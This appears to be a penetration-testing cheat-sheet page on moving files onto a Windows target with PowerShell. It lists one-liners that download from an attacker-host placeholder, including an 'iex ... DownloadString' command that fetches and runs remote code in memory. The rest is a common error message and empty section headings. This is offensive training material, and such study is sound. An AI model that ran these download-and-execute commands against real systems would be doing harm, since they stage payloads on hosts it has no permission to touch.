File Transfers
PowerShell
PS C:\htb> (New-Object Net.WebClient).DownloadFile('http://<ip>:<PORT>/example.txt','C:\Windows\Temp\example.txt')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('http://<ip>:<PORT>/example.txt','C:\Windows\Temp\example.txt')PS> iex (New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/file')PS> Invoke-WebRequest http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
PS> iwr <LHOST>/<FILE> -o <FILE>
PS> iwr -uri http://<ip>/<file> -Outfile <file>Common errors
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommandSCP
NetCat
CertUtil
SMB
FTP
WebDAV
RDP
nc
Base 64
Attacker -> Victim
Victim -> Attacker
Python
PHP
Ruby
Perl
Javascript
Vbscript
Last updated